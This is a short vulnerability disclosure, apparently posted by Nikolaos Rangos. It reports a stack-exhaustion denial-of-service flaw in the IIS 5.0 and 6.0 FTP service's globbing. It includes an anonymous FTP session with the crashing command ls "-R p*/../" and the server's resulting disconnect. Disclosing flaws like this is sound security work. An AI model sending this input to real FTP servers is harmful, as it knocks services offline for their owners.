Microsoft IIS FTPd Denial Of Service

`***** MS IIS FTPD DoS ZER0DAY *****  
  
There is a DoS vulnerability in the globbing functionality of IIS FTPD.  
Anonymous users can exploit this if they have read access to a directory!!!  
Normal users can exploit this too if they can read a directory.  
  
Example session where the anonymous user has read access to the folder "pub":  
  
C:\Users\Nikolaos>ftp 192.168.2.102  
Verbindung mit 192.168.2.102 wurde hergestellt.  
220 Microsoft FTP Service  
Benutzer (192.168.2.102:(none)): ftp  
331 Anonymous access allowed, send identity (e-mail name) as password.  
Kennwort:  
230 Anonymous user logged in.  
ftp> ls "-R p*/../"  
...  
p*/../pub:  
pub  
...  
p*/../pub:  
pub  
...  
p*/../pub:  
pub  
...  
p*/../pub:  
pub  
...  
Verbindung beendet durch Remotehost. (MEANS: Remote Host has closed  
the connection)  
ftp>  
ftp>  
  
By looking into my debugging session with OllyDbg I see that an  
exception is raised and  
the ftp service crashes due to a "stack overflow", what is a stack exhaustion.  
If the ftp service is set to "manual" startup in services control  
manager the service  
needs to be restarted manually.  
IIS 5.0 and 6.0 were tested and are affected.  
  
Best Regards,  
  
Nikolaos Rangos  
  
`